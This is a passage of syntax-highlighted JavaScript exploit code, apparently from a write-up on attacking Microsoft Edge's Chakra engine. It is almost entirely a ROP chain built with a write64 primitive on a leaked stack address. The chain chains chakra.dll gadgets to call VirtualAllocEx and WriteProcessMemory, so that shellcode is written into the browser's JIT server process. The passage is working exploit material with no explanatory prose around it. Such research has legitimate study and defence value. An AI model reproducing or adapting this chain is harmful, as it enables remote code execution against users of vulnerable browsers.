<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain</span>
<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

<span class="cm">/*
0:015&gt; dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
